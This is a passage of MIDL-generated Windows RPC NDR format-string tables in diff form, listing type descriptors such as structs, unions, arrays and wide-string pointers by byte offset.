NdrFcShort( 0x8 ), /* 8 */ +/* 3634 */ NdrFcShort( 0x1 ), /* Corr flags: early, */ +/* 3636 */ 0x2, /* FC_CHAR */ + 0x5b, /* FC_END */ +/* 3638 */ + 0x1a, /* FC_BOGUS_STRUCT */ + 0x3, /* 3 */ +/* 3640 */ NdrFcShort( 0x18 ), /* 24 */ +/* 3642 */ NdrFcShort( 0x0 ), /* 0 */ +/* 3644 */ NdrFcShort( 0x8 ), /* Offset= 8 (3652) */ +/* 3646 */ 0x8, /* FC_LONG */ + 0x8, /* FC_LONG */ +/* 3648 */ 0x8, /* FC_LONG */ + 0x40, /* FC_STRUCTPAD4 */ +/* 3650 */ 0x36, /* FC_POINTER */ + 0x5b, /* FC_END */ +/* 3652 */ + 0x12, 0x20, /* FC_UP [maybenull_sizeis] */ +/* 3654 */ NdrFcShort( 0xffe4 ), /* Offset= -28 (3626) */ +/* 3656 */ + 0x12, 0x0, /* FC_UP */ +/* 3658 */ NdrFcShort( 0x2 ), /* Offset= 2 (3660) */ +/* 3660 */ + 0x1a, /* FC_BOGUS_STRUCT */ + 0x3, /* 3 */ +/* 3662 */ NdrFcShort( 0x20 ), /* 32 */ +/* 3664 */ NdrFcShort( 0x0 ), /* 0 */ +/* 3666 */ NdrFcShort( 0x0 ), /* Offset= 0 (3666) */ +/* 3668 */ 0x4c, /* FC_EMBEDDED_COMPLEX */ + 0x0, /* 0 */ +/* 3670 */ NdrFcShort( 0xffe0 ), /* Offset= -32 (3638) */ +/* 3672 */ 0x8, /* FC_LONG */ + 0x40, /* FC_STRUCTPAD4 */ +/* 3674 */ 0x5c, /* FC_PAD */ + 0x5b, /* FC_END */ +/* 3676 */ + 0x12, 0x0, /* FC_UP */ +/* 3678 */ NdrFcShort( 0x2 ), /* Offset= 2 (3680) */ +/* 3680 */ + 0x1a, /* FC_BOGUS_STRUCT */ + 0x3, /* 3 */ +/* 3682 */ NdrFcShort( 0x28 ), /* 40 */ +/* 3684 */ NdrFcShort( 0x0 ), /* 0 */ +/* 3686 */ NdrFcShort( 0x0 ), /* Offset= 0 (3686) */ +/* 3688 */ 0x4c, /* FC_EMBEDDED_COMPLEX */ + 0x0, /* 0 */ +/* 3690 */ NdrFcShort( 0xffe2 ), /* Offset= -30 (3660) */ +/* 3692 */ 0x8, /* FC_LONG */ + 0x40, /* FC_STRUCTPAD4 */ +/* 3694 */ 0x5c, /* FC_PAD */ + 0x5b, /* FC_END */ +/* 3696 */ + 0x12, 0x0, /* FC_UP */ +/* 3698 */ NdrFcShort( 0xe ), /* Offset= 14 (3712) */ +/* 3700 */ + 0x1b, /* FC_CARRAY */ + 0x0, /* 0 */ +/* 3702 */ NdrFcShort( 0x1 ), /* 1 */ +/* 3704 */ 0x18, /* Corr desc: field pointer, FC_LONG */ + 0x0, /* */ +/* 3706 */ NdrFcShort( 0x2c ), /* 44 */ +/* 3708 */ NdrFcShort( 0x1 ), /* Corr flags: early, */ +/* 3710 */ 0x2, /* FC_CHAR */ + 0x5b, /* FC_END */ +/* 3712 */ + 0x1a, /* FC_BOGUS_STRUCT */ + 0x3, /* 3 */ +/* 3714 */ NdrFcShort( 0x38 ), /* 56 */ +/* 3716 */ NdrFcShort( 0x0 ), /* 0 */ +/* 3718 */ NdrFcShort( 0xa ), /* Offset= 10 (3728) */ +/* 3720 */ 0x4c, /* FC_EMBEDDED_COMPLEX */ + 0x0, /* 0 */ +/* 3722 */ NdrFcShort( 0xffd6 ), /* Offset= -42 (3680) */ +/* 3724 */ 0x8, /* FC_LONG */ + 0x8, /* FC_LONG */ +/* 3726 */ 0x36, /* FC_POINTER */ + 0x5b, /* FC_END */ +/* 3728 */ + 0x12, 0x20, /* FC_UP [maybenull_sizeis] */ +/* 3730 */ NdrFcShort( 0xffe2 ), /* Offset= -30 (3700) */ +/* 3732 */ + 0x12, 0x0, /* FC_UP */ +/* 3734 */ NdrFcShort( 0x2 ), /* Offset= 2 (3736) */ +/* 3736 */ + 0x1a, /* FC_BOGUS_STRUCT */ + 0x3, /* 3 */ +/* 3738 */ NdrFcShort( 0x40 ), /* 64 */ +/* 3740 */ NdrFcShort( 0x0 ), /* 0 */ +/* 3742 */ NdrFcShort( 0x0 ), /* Offset= 0 (3742) */ +/* 3744 */ 0x4c, /* FC_EMBEDDED_COMPLEX */ + 0x0, /* 0 */ +/* 3746 */ NdrFcShort( 0xffde ), /* Offset= -34 (3712) */ +/* 3748 */ 0x8, /* FC_LONG */ + 0x40, /* FC_STRUCTPAD4 */ +/* 3750 */ 0x5c, /* FC_PAD */ + 0x5b, /* FC_END */ +/* 3752 */ + 0x1a, /* FC_BOGUS_STRUCT */ + 0x3, /* 3 */ +/* 3754 */ NdrFcShort( 0x10 ), /* 16 */ +/* 3756 */ NdrFcShort( 0x0 ), /* 0 */ +/* 3758 */ NdrFcShort( 0x0 ), /* Offset= 0 (3758) */ +/* 3760 */ 0x8, /* FC_LONG */ + 0x40, /* FC_STRUCTPAD4 */ +/* 3762 */ 0x4c, /* FC_EMBEDDED_COMPLEX */ + 0x0, /* 0 */ +/* 3764 */ NdrFcShort( 0xff44 ), /* Offset= -188 (3576) */ +/* 3766 */ 0x5c, /* FC_PAD */ + 0x5b, /* FC_END */ +/* 3768 */ + 0x11, 0x4, /* FC_RP [alloced_on_stack] */ +/* 3770 */ NdrFcShort( 0x2 ), /* Offset= 2 (3772) */ +/* 3772 */ + 0x15, /* FC_STRUCT */ + 0x3, /* 3 */ +/* 3774 */ NdrFcShort( 0x10 ), /* 16 */ +/* 3776 */ 0x8, /* FC_LONG */ + 0x8, /* FC_LONG */ +/* 3778 */ 0x4c, /* FC_EMBEDDED_COMPLEX */ + 0x0, /* 0 */ +/* 3780 */ NdrFcShort( 0xf1ba ), /* Offset= -3654 (126) */ +/* 3782 */ 0x5c, /* FC_PAD */ + 0x5b, /* FC_END */ +/* 3784 */ + 0x11, 0x4, /* FC_RP [alloced_on_stack] */ +/* 3786 */ NdrFcShort( 0x2 ), /* Offset= 2 (3788) */ +/* 3788 */ + 0x15, /* FC_STRUCT */ + 0x7, /* 7 */ +/* 3790 */ NdrFcShort( 0x20 ), /* 32 */ +/* 3792 */ 0x8, /* FC_LONG */ + 0x8, /* FC_LONG */ +/* 3794 */ 0xb, /* FC_HYPER */ + 0xb, /* FC_HYPER */ +/* 3796 */ 0xb, /* FC_HYPER */ + 0x5b, /* FC_END */ +/* 3798 */ + 0x11, 0x0, /* FC_RP */ +/* 3800 */ NdrFcShort( 0x2 ), /* Offset= 2 (3802) */ +/* 3802 */ + 0x1a, /* FC_BOGUS_STRUCT */ + 0x3, /* 3 */ +/* 3804 */ NdrFcShort( 0x60 ), /* 96 */ +/* 3806 */ NdrFcShort( 0x0 ), /* 0 */ +/* 3808 */ NdrFcShort( 0x18 ), /* Offset= 24 (3832) */ +/* 3810 */ 0x36, /* FC_POINTER */ + 0x36, /* FC_POINTER */ +/* 3812 */ 0x8, /* FC_LONG */ + 0x8, /* FC_LONG */ +/* 3814 */ 0x36, /* FC_POINTER */ + 0x36, /* FC_POINTER */ +/* 3816 */ 0x36, /* FC_POINTER */ + 0x8, /* FC_LONG */ +/* 3818 */ 0x4c, /* FC_EMBEDDED_COMPLEX */ + 0x0, /* 0 */ +/* 3820 */ NdrFcShort( 0xf192 ), /* Offset= -3694 (126) */ +/* 3822 */ 0x8, /* FC_LONG */ + 0x8, /* FC_LONG */ +/* 3824 */ 0x40, /* FC_STRUCTPAD4 */ + 0x36, /* FC_POINTER */ +/* 3826 */ 0x8, /* FC_LONG */ + 0x8, /* FC_LONG */ +/* 3828 */ 0x8, /* FC_LONG */ + 0x8, /* FC_LONG */ +/* 3830 */ 0x5c, /* FC_PAD */ + 0x5b, /* FC_END */ +/* 3832 */ + 0x12, 0x8, /* FC_UP [simple_pointer] */ +/* 3834 */ + 0x25, /* FC_C_WSTRING */ + 0x5c, /* FC_PAD */ +/* 3836 */ + 0x12, 0x8, /* FC_UP [simple_pointer] */ +/* 3838 */ + 0x25, /* FC_C_WSTRING */ + 0x5c, /* FC_PAD */ +/* 3840 */ + 0x12, 0x8, /* FC_UP [simple_pointer] */ +/* 3842 */ + 0x25, /* FC_C_WSTRING */ + 0x5c, /* FC_PAD */ +/* 3844 */ + 0x12, 0x8, /* FC_UP [simple_pointer] */ +/* 3846 */ + 0x25, /* FC_C_WSTRING */ + 0x5c, /* FC_PAD */ +/* 3848 */ + 0x12, 0x8, /* FC_UP [simple_pointer] */ +/* 3850 */ + 0x25, /* FC_C_WSTRING */ + 0x5c, /* FC_PAD */ +/* 3852 */ + 0x12, 0x8, /* FC_UP [simple_pointer] */ +/* 3854 */ + 0x25, /* FC_C_WSTRING */ + 0x5c, /* FC_PAD */ +/* 3856 */ + 0x11, 0x14, /* FC_RP [alloced_on_stack] [pointer_deref] */ +/* 3858 */ NdrFcShort( 0x2 ), /* Offset= 2 (3860) */ +/* 3860 */ + 0x12, 0x0, /* FC_UP */ +/* 3862 */ NdrFcShort( 0x2e ), /* Offset= 46 (3908) */ +/* 3864 */ + 0x2b, /* FC_NON_ENCAPSULATED_UNION */ + 0x8, /* FC_LONG */ +/* 3866 */ 0x8, /* Corr desc: FC_LONG */ + 0x0, /* */ +/* 3868 */ NdrFcShort( 0xfff8 ), /* -8 */ +/* 3870 */ NdrFcShort( 0x1 ), /* Corr flags: early, */ +/* 3872 */ NdrFcShort( 0x2 ), /* Offset= 2 (3874) */ +/* 3874 */ NdrFcShort( 0x8 ), /* 8 */ +/* 3876 */ NdrFcShort( 0x1 ), /* 1 */ +/* 3878 */ NdrFcLong( 0x1 ), /* 1 */ +/* 3882 */ NdrFcShort( 0x4 ), /* Offset= 4 (3886) */ +/* 3884 */ NdrFcShort( 0xffff ), /* Offset= -1 (3883) */ +/* 3886 */ + 0x12, 0x0, /* FC_UP */ +/* 3888 */ NdrFcShort( 0x2 ), /* Offset= 2 (3890) */ +/* 3890 */ + 0x15, /* FC_STRUCT */ + 0x7, /* 7 */ +/* 3892 */ NdrFcShort( 0x38 ), /* 56 */ +/* 3894 */ 0x8, /* FC_LONG */ + 0x8, /* FC_LONG */ +/* 3896 */ 0x8, /* FC_LONG */ + 0x8, /* FC_LONG */ +/* 3898 */ 0xb, /* FC_HYPER */ + 0x4c, /* FC_EMBEDDED_COMPLEX */ +/* 3900 */ 0x0, /* 0 */ + NdrFcShort( 0xf653 ), /* Offset= -2477 (1424) */ + 0x4c, /* FC_EMBEDDED_COMPLEX */ +/* 3904 */ 0x0, /* 0 */ + NdrFcShort( 0xf64f ), /* Offset= -2481 (1424) */ + 0x5b, /* FC_END */ +/* 3908 */ + 0x1a, /* FC_BOGUS_STRUCT */ + 0x3, /* 3 */ +/* 3910 */ NdrFcShort( 0x10 ), /* 16 */ +/* 3912 */ NdrFcShort( 0x0 ), /* 0 */ +/* 3914 */ NdrFcShort( 0x0 ), /* Offset= 0 (3914) */ +/* 3916 */ 0x8, /* FC_LONG */ + 0x40, /* FC_STRUCTPAD4 */ +/* 3918 */ 0x4c, /* FC_EMBEDDED_COMPLEX */ + 0x0, /* 0 */ +/* 3920 */ NdrFcShort( 0xffc8 ), /* Offset= -56 (3864) */ +/* 3922 */ 0x5c, /* FC_PAD */ + 0x5b, /* FC_END */ +/* 3924 */ + 0x11, 0x0, /* FC_RP */ +/* 3926 */ NdrFcShort( 0x2 ), /* Offset= 2 (3928) */ +/* 3928 */ + 0x1a, /* FC_BOGUS_STRUCT */ + 0x3, /* 3 */ +/* 3930 */ NdrFcShort( 0xe0 ), /* 224 */ +/* 3932 */ NdrFcShort( 0x0 ), /* 0 */ +/* 3934 */ NdrFcShort( 0x24 ), /* Offset= 36 (3970) */ +/* 3936 */ 0x8, /* FC_LONG */ + 0x8, /* FC_LONG */ +/* 3938 */ 0x4c, /* FC_EMBEDDED_COMPLEX */ + 0x0, /* 0 */ +/* 3940 */ NdrFcShort( 0xf11a ), /* Offset= -3814 (126) */ +/* 3942 */ 0x8, /* FC_LONG */ + 0x8, /* FC_LONG */ +/* 3944 */ 0x36, /* FC_POINTER */ + 0x36, /* FC_POINTER */ +/* 3946 */ 0x36, /* FC_POINTER */ + 0x36, /* FC_POINTER */ +/* 3948 */ 0x36, /* FC_POINTER */ + 0x36, /* FC_POINTER */ +/* 3950 */ 0x36, /* FC_POINTER */ + 0x36, /* FC_POINTER */ +/* 3952 */ 0x36, /* FC_POINTER */ + 0x36, /* FC_POINTER */ +/* 3954 */ 0x36, /* FC_POINTER */ + 0x36, /* FC_POINTER */ +/* 3956 */ 0x36, /* FC_POINTER */ + 0x36, /* FC_POINTER */ +/* 3958 */ 0x36, /* FC_POINTER */ + 0x36, /* FC_POINTER */ +/* 3960 */ 0x36, /* FC_POINTER */ + 0x36, /* FC_POINTER */ +/* 3962 */ 0x36, /* FC_POINTER */ + 0x36, /* FC_POINTER */ +/* 3964 */ 0x36, /* FC_POINTER */ + 0x36, /* FC_POINTER */ +/* 3966 */ 0x36, /* FC_POINTER */ + 0x36, /* FC_POINTER */ +/* 3968 */ 0x36, /* FC_POINTER */ + 0x5b, /* FC_END */ +/* 3970 */ + 0x12, 0x8, /* FC_UP [simple_pointer] */ +/* 3972 */ + 0x25, /* FC_C_WSTRING */ + 0x5c, /* FC_PAD */ +/* 3974 */ + 0x12, 0x8, /* FC_UP [simple_pointer] */ +/* 3976 */ + 0x25, /* FC_C_WSTRING */ + 0x5c, /* FC_PAD */ +/* 3978 */ + 0x12, 0x8, /* FC_UP [simple_pointer] */ +/* 3980 */ + 0x25, /* FC_C_WSTRING */ + 0x5c, /* FC_PAD */ +/* 3982 */ + 0x12, 0x8, /* FC_UP [simple_pointer] */ +/* 3984 */ + 0x25, /* FC_C_WSTRING */ + 0x5c, /* FC_PAD */ +/* 3986 */ + 0x12, 0x8, /* FC_UP [simple_pointer] */ +/* 3988 */ + 0x25, /* FC_C_WSTRING */ + 0x5c, /* FC_PAD */ +/* 3990 */ + 0x12, 0x8, /* FC_UP [simple_pointer] */ +/* 3992 */ + 0x25, /* FC_C_WSTRING */ + 0x5c, /* FC_PAD */ +/* 3994 */ + 0x12, 0x8, /* FC_UP [simple_pointer] */ +/* 3996 */ + 0x25, /* FC_C_WSTRING */ + 0x5c, /* FC_PAD */ +/* 3998 */ + 0x12, 0x8, /* FC_UP [simple_pointer] */ +/* 4000 */ + 0x25, /* FC_C_WSTRING */ + 0x5c, /* FC_PAD */ +/* 4002 */ + 0x12, 0x8, /* FC_UP [simple_pointer] */ +/* 4004 */ + 0x25, /* FC_C_WSTRING */ + 0x5c, /* FC_PAD */ +/* 4006 */ + 0x12, 0x8, /* FC_UP [simple_pointer] */ +/* 4008 */ + 0x25, /* FC_C_WSTRING */ + 0x5c, /* FC_PAD */ +/* 4010 */ + 0x12, 0x8, /* FC_UP [simple_pointer] */ +/* 4012 */ + 0x25, /* FC_C_WSTRING */ + 0x5c, /* FC_PAD */ +/* 4014 */ + 0x12, 0x8, /* FC_UP [simple_pointer] */ +/* 4016 */ + 0x25, /* FC_C_WSTRING */ + 0x5c, /* FC_PAD */ +/* 4018 */ + 0x12, 0x8, /* FC_UP [simple_pointer] */ +/* 4020 */ + 0x25, /* FC_C_WSTRING */ + 0x5c, /* FC_PAD */ +/* 4022 */ + 0x12, 0x8, /* FC_UP [simple_pointer] */ +/* 4024 */ + 0x25, /* FC_C_WSTRING */ + 0x5c, /* FC_PAD */ +/* 4026 */ + 0x12, 0x8, /* FC_UP [simple_pointer] */ +/* 4028 */ + 0x25, /* FC_C_WSTRING */ + 0x5c, /* FC_PAD */ +/* 4030 */ + 0x12, 0x8, /* FC_UP [simple_pointer] */ +/* 4032 */ + 0x25, /* FC_C_WSTRING */ + 0x5c, /* FC_PAD */ +/* 4034 */ + 0x12, 0x8, /* FC_UP [simple_pointer] */ +/* 4036 */ + 0x25, /* FC_C_WSTRING */ + 0x5c, /* FC_PAD */ +/* 4038 */ + 0x12, 0x8, /* FC_UP [simple_pointer] */ +/* 4040 */ + 0x25, /* FC_C_WSTRING */ + 0x5c, /* FC_PAD */ +/* 4042 */ + 0x12, 0x8, /* FC_UP [simple_pointer] */ +/* 4044 */ + 0x25, /* FC_C_WSTRING */ + 0x5c, /* FC_PAD */ +/* 4046 */ + 0x12, 0x8, /* FC_UP [simple_pointer] */ +/* 4048 */ + 0x25, /* FC_C_WSTRING */ + 0x5c, /* FC_PAD */ +/* 4050 */ + 0x12, 0x8, /* FC_UP [simple_pointer] */ +/* 4052 */ + 0x25, /* FC_C_WSTRING */ + 0x5c, /* FC_PAD */ +/* 4054 */ + 0x12, 0x8, /* FC_UP [simple_pointer] */ +/* 4056 */ + 0x25, /* FC_C_WSTRING */ + 0x5c, /* FC_PAD */ +/* 4058 */ + 0x12, 0x8, /* FC_UP [simple_pointer] */ +/* 4060 */ + 0x25, /* FC_C_WSTRING */ + 0x5c, /* FC_PAD */ +/* 4062 */ + 0x12, 0x8, /* FC_UP [simple_pointer] */ +/* 4064 */ + 0x25, /* FC_C_WSTRING */ + 0x5c, /* FC_PAD */ +/* 4066 */ + 0x12, 0x8, /* FC_UP [simple_pointer] */ +/* 4068 */ + 0x25, /* FC_C_WSTRING */ + 0x5c, /* FC_PAD */ +/* 4070 */ + 0x11, 0x14, /* FC_RP [alloced_on_stack] [pointer_deref] */ +/* 4072 */ NdrFcShort( 0x2 ), /* Offset= 2 (4074) */ +/* 4074 */ + 0x12, 0x0, /* FC_UP */ +/* 4076 */ NdrFcShort( 0x30 ), /* Offset= 48 (4124) */ +/* 4078 */ + 0x2b, /* FC_NON_ENCAPSULATED_UNION */ + 0x8, /* FC_LONG */ +/* 4080 */ 0x8, /* Corr desc: FC_LONG */ + 0x0, /* */ +/* 4082 */ NdrFcShort( 0xfff8 ), /* -8 */ +/* 4084 */ NdrFcShort( 0x1 ), /* Corr flags: early, */ +/* 4086 */ NdrFcShort( 0x2 ), /* Offset= 2 (4088) */ +/* 4088 */ NdrFcShort( 0x8 ), /* 8 */ +/* 4090 */ NdrFcShort( 0x1 ), /* 1 */ +/* 4092 */ NdrFcLong( 0x1 ), /* 1 */ +/* 4096 */ NdrFcShort( 0x4 ), /* Offset= 4 (4100) */ +/* 4098 */ NdrFcShort( 0xffff ), /* Offset= -1 (4097) */ +/* 4100 */ + 0x12, 0x0, /* FC_UP */ +/* 4102 */ NdrFcShort( 0x2 ), /* Offset= 2 (4104) */ +/* 4104 */ + 0x1a, /* FC_BOGUS_STRUCT */ + 0x7, /* 7 */ +/* 4106 */ NdrFcShort( 0x28 ), /* 40 */ +/* 4108 */ NdrFcShort( 0x0 ), /* 0 */ +/* 4110 */ NdrFcShort( 0xa ), /* Offset= 10 (4120) */ +/* 4112 */ 0x8, /* FC_LONG */ + 0x8, /* FC_LONG */ +/* 4114 */ 0xb, /* FC_HYPER */ + 0x8, /* FC_LONG */ +/* 4116 */ 0x8, /* FC_LONG */ + 0xb, /* FC_HYPER */ +/* 4118 */ 0x36, /* FC_POINTER */ + 0x5b, /* FC_END */ +/* 4120 */ + 0x12, 0x8, /* FC_UP [simple_pointer] */ +/* 4122 */ 0x5, /* FC_WCHAR */ + 0x5c, /* FC_PAD */ +/* 4124 */ + 0x1a, /* FC_BOGUS_STRUCT */ + 0x3, /* 3 */ +/* 4126 */ NdrFcShort( 0x10 ), /* 16 */ +/* 4128 */ NdrFcShort( 0x0 ), /* 0 */ +/* 4130 */ NdrFcShort( 0x0 ), /* Offset= 0 (4130) */ +/* 4132 */ 0x8, /* FC_LONG */ + 0x40, /* FC_STRUCTPAD4 */ +/* 4134 */ 0x4c, /* FC_EMBEDDED_COMPLEX */ + 0x0, /* 0 */ +/* 4136 */ NdrFcShort( 0xffc6 ), /* Offset= -58 (4078) */ +/* 4138 */ 0x5c, /* FC_PAD */ + 0x5b, /* FC_END */ +/* 4140 */ + 0x11, 0x0, /* FC_RP */ +/* 4142 */ NdrFcShort( 0x2 ), /* Offset= 2 (4144) */ +/* 4144 */ + 0x1b, /* FC_CARRAY */ + 0x0, /* 0 */ +/* 4146 */ NdrFcShort( 0x1 ), /* 1 */ +/* 4148 */ 0x28, /* Corr desc: parameter, FC_LONG */ + 0x0, /* */ +/* 4150 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 4152 */ NdrFcShort( 0x0 ), /* Corr flags: */ +/* 4154 */ 0x2, /* FC_CHAR */ + 0x5b, /* FC_END */ +/* 4156 */ + 0x11, 0x14, /* FC_RP [alloced_on_stack] [pointer_deref] */ +/* 4158 */ NdrFcShort( 0x2 ), /* Offset= 2 (4160) */ +/* 4160 */ + 0x12, 0x0, /* FC_UP */ +/* 4162 */ NdrFcShort( 0x52 ), /* Offset= 82 (4244) */ +/* 4164 */ + 0x2b, /* FC_NON_ENCAPSULATED_UNION */ + 0x8, /* FC_LONG */ +/* 4166 */ 0x8, /* Corr desc: FC_LONG */ + 0x0, /* */ +/* 4168 */ NdrFcShort( 0xfff8 ), /* -8 */ +/* 4170 */ NdrFcShort( 0x1 ), /* Corr flags: early, */ +/* 4172 */ NdrFcShort( 0x2 ), /* Offset= 2 (4174) */ +/* 4174 */ NdrFcShort( 0x8 ), /* 8 */ +/* 4176 */ NdrFcShort( 0x1 ), /* 1 */ +/* 4178 */ NdrFcLong( 0x1 ), /* 1 */ +/* 4182 */ NdrFcShort( 0x4 ), /* Offset= 4 (4186) */ +/* 4184 */ NdrFcShort( 0xffff ), /* Offset= -1 (4183) */ +/* 4186 */ + 0x12, 0x0, /* FC_UP */ +/* 4188 */ NdrFcShort( 0x1a ), /* Offset= 26 (4214) */ +/* 4190 */ + 0x1b, /* FC_CARRAY */ + 0x0, /* 0 */ +/* 4192 */ NdrFcShort( 0x1 ), /* 1 */ +/* 4194 */ 0x18, /* Corr desc: field pointer, FC_LONG */ + 0x0, /* */ +/* 4196 */ NdrFcShort( 0x8 ), /* 8 */ +/* 4198 */ NdrFcShort( 0x0 ), /* Corr flags: */ +/* 4200 */ 0x2, /* FC_CHAR */ + 0x5b, /* FC_END */ +/* 4202 */ + 0x1b, /* FC_CARRAY */ + 0x0, /* 0 */ +/* 4204 */ NdrFcShort( 0x1 ), /* 1 */ +/* 4206 */ 0x18, /* Corr desc: field pointer, FC_LONG */ + 0x0, /* */ +/* 4208 */ NdrFcShort( 0x18 ), /* 24 */ +/* 4210 */ NdrFcShort( 0x0 ), /* Corr flags: */ +/* 4212 */ 0x2, /* FC_CHAR */ + 0x5b, /* FC_END */ +/* 4214 */ + 0x1a, /* FC_BOGUS_STRUCT */ + 0x7, /* 7 */ +/* 4216 */ NdrFcShort( 0x40 ), /* 64 */ +/* 4218 */ NdrFcShort( 0x0 ), /* 0 */ +/* 4220 */ NdrFcShort( 0x10 ), /* Offset= 16 (4236) */ +/* 4222 */ 0x36, /* FC_POINTER */ + 0x8, /* FC_LONG */ +/* 4224 */ 0x40, /* FC_STRUCTPAD4 */ + 0x36, /* FC_POINTER */ +/* 4226 */ 0x8, /* FC_LONG */ + 0x40, /* FC_STRUCTPAD4 */ +/* 4228 */ 0xb, /* FC_HYPER */ + 0x8, /* FC_LONG */ +/* 4230 */ 0x8, /* FC_LONG */ + 0x8, /* FC_LONG */ +/* 4232 */ 0x8, /* FC_LONG */ + 0x8, /* FC_LONG */ +/* 4234 */ 0x40, /* FC_STRUCTPAD4 */ + 0x5b, /* FC_END */ +/* 4236 */ + 0x12, 0x20, /* FC_UP [maybenull_sizeis] */ +/* 4238 */ NdrFcShort( 0xffd0 ), /* Offset= -48 (4190) */ +/* 4240 */ + 0x12, 0x20, /* FC_UP [maybenull_sizeis] */ +/* 4242 */ NdrFcShort( 0xffd8 ), /* Offset= -40 (4202) */ +/* 4244 */ + 0x1a, /* FC_BOGUS_STRUCT */ + 0x3, /* 3 */ +/* 4246 */ NdrFcShort( 0x10 ), /* 16 */ +/* 4248 */ NdrFcShort( 0x0 ), /* 0 */ +/* 4250 */ NdrFcShort( 0x0 ), /* Offset= 0 (4250) */ +/* 4252 */ 0x8, /* FC_LONG */ + 0x40, /* FC_STRUCTPAD4 */ +/* 4254 */ 0x4c, /* FC_EMBEDDED_COMPLEX */ + 0x0, /* 0 */ +/* 4256 */ NdrFcShort( 0xffa4 ), /* Offset= -92 (4164) */ +/* 4258 */ 0x5c, /* FC_PAD */ + 0x5b, /* FC_END */ +/* 4260 */ + 0x11, 0x8, /* FC_RP [simple_pointer] */ +/* 4262 */ 0x5, /* FC_WCHAR */ + 0x5c, /* FC_PAD */ +/* 4264 */ + 0x11, 0x14, /* FC_RP [alloced_on_stack] [pointer_deref] */ +/* 4266 */ NdrFcShort( 0x2 ), /* Offset= 2 (4268) */ +/* 4268 */ + 0x12, 0x0, /* FC_UP */ +/* 4270 */ NdrFcShort( 0x3a ), /* Offset= 58 (4328) */ +/* 4272 */ + 0x2b, /* FC_NON_ENCAPSULATED_UNION */ + 0x8, /* FC_LONG */ +/* 4274 */ 0x8, /* Corr desc: FC_LONG */ + 0x0, /* */ +/* 4276 */ NdrFcShort( 0xfff8 ), /* -8 */ +/* 4278 */ NdrFcShort( 0x1 ), /* Corr flags: early, */ +/* 4280 */ NdrFcShort( 0x2 ), /* Offset= 2 (4282) */ +/* 4282 */ NdrFcShort( 0x8 ), /* 8 */ +/* 4284 */ NdrFcShort( 0x1 ), /* 1 */ +/* 4286 */ NdrFcLong( 0x1 ), /* 1 */ +/* 4290 */ NdrFcShort( 0x4 ), /* Offset= 4 (4294) */ +/* 4292 */ NdrFcShort( 0xffff ), /* Offset= -1 (4291) */ +/* 4294 */ + 0x12, 0x0, /* FC_UP */ +/* 4296 */ NdrFcShort( 0x2 ), /* Offset= 2 (4298) */ +/* 4298 */ + 0x1a, /* FC_BOGUS_STRUCT */ + 0x3, /* 3 */ +/* 4300 */ NdrFcShort( 0x30 ), /* 48 */ +/* 4302 */ NdrFcShort( 0x0 ), /* 0 */ +/* 4304 */ NdrFcShort( 0xc ), /* Offset= 12 (4316) */ +/* 4306 */ 0x36, /* FC_POINTER */ + 0x8, /* FC_LONG */ +/* 4308 */ 0x8, /* FC_LONG */ + 0x36, /* FC_POINTER */ +/* 4310 */ 0x8, /* FC_LONG */ + 0x8, /* FC_LONG */ +/* 4312 */ 0x36, /* FC_POINTER */ + 0x8, /* FC_LONG */ +/* 4314 */ 0x40, /* FC_STRUCTPAD4 */ + 0x5b, /* FC_END */ +/* 4316 */ + 0x12, 0x8, /* FC_UP [simple_pointer] */ +/* 4318 */ + 0x25, /* FC_C_WSTRING */ + 0x5c, /* FC_PAD */ +/* 4320 */ + 0x12, 0x8, /* FC_UP [simple_pointer] */ +/* 4322 */ + 0x25, /* FC_C_WSTRING */ + 0x5c, /* FC_PAD */ +/* 4324 */ + 0x12, 0x8, /* FC_UP [simple_pointer] */ +/* 4326 */ + 0x25, /* FC_C_WSTRING */ + 0x5c, /* FC_PAD */ +/* 4328 */ + 0x1a, /* FC_BOGUS_STRUCT */ + 0x3, /* 3 */ +/* 4330 */ NdrFcShort( 0x10 ), /* 16 */ +/* 4332 */ NdrFcShort( 0x0 ), /* 0 */ +/* 4334 */ NdrFcShort( 0x0 ), /* Offset= 0 (4334) */ +/* 4336 */ 0x8, /* FC_LONG */ + 0x40, /* FC_STRUCTPAD4 */ +/* 4338 */ 0x4c, /* FC_EMBEDDED_COMPLEX */ + 0x0, /* 0 */ +/* 4340 */ NdrFcShort( 0xffbc ), /* Offset= -68 (4272) */ +/* 4342 */ 0x5c, /* FC_PAD */ + 0x5b, /* FC_END */ +/* 4344 */ + 0x11, 0x14, /* FC_RP [alloced_on_stack] [pointer_deref] */ +/* 4346 */ NdrFcShort( 0x2 ), /* Offset= 2 (4348) */ +/* 4348 */ + 0x12, 0x20, /* FC_UP [maybenull_sizeis] */ +/* 4350 */ NdrFcShort( 0x2 ), /* Offset= 2 (4352) */ +/* 4352 */ + 0x1b, /* FC_CARRAY */ + 0x0, /* 0 */ +/* 4354 */ NdrFcShort( 0x1 ), /* 1 */ +/* 4356 */ 0x28, /* Corr desc: parameter, FC_LONG */ + 0x54, /* FC_DEREFERENCE */ +/* 4358 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 4360 */ NdrFcShort( 0x0 ), /* Corr flags: */ +/* 4362 */ 0x2, /* FC_CHAR */ + 0x5b, /* FC_END */ +/* 4364 */ + 0x11, 0x14, /* FC_RP [alloced_on_stack] [pointer_deref] */ +/* 4366 */ NdrFcShort( 0x2 ), /* Offset= 2 (4368) */ +/* 4368 */ + 0x12, 0x0, /* FC_UP */ +/* 4370 */ NdrFcShort( 0x6e ), /* Offset= 110 (4480) */ +/* 4372 */ + 0x1a, /* FC_BOGUS_STRUCT */ + 0x3, /* 3 */ +/* 4374 */ NdrFcShort( 0x10 ), /* 16 */ +/* 4376 */ NdrFcShort( 0x0 ), /* 0 */ +/* 4378 */ NdrFcShort( 0x6 ), /* Offset= 6 (4384) */ +/* 4380 */ 0x8, /* FC_LONG */ + 0x40, /* FC_STRUCTPAD4 */ +/* 4382 */ 0x36, /* FC_POINTER */ + 0x5b, /* FC_END */ +/* 4384 */ + 0x12, 0x20, /* FC_UP [maybenull_sizeis] */ +/* 4386 */ NdrFcShort( 0xf148 ), /* Offset= -3768 (618) */ +/* 4388 */ + 0x21, /* FC_BOGUS_ARRAY */ + 0x3, /* 3 */ +/* 4390 */ NdrFcShort( 0x0 ), /* 0 */ +/* 4392 */ 0x18, /* Corr desc: field pointer, FC_LONG */ + 0x0, /* */ +/* 4394 */ NdrFcShort( 0x10 ), /* 16 */ +/* 4396 */ NdrFcShort( 0x1 ), /* Corr flags: early, */ +/* 4398 */ NdrFcLong( 0xffffffff ), /* -1 */ +/* 4402 */ 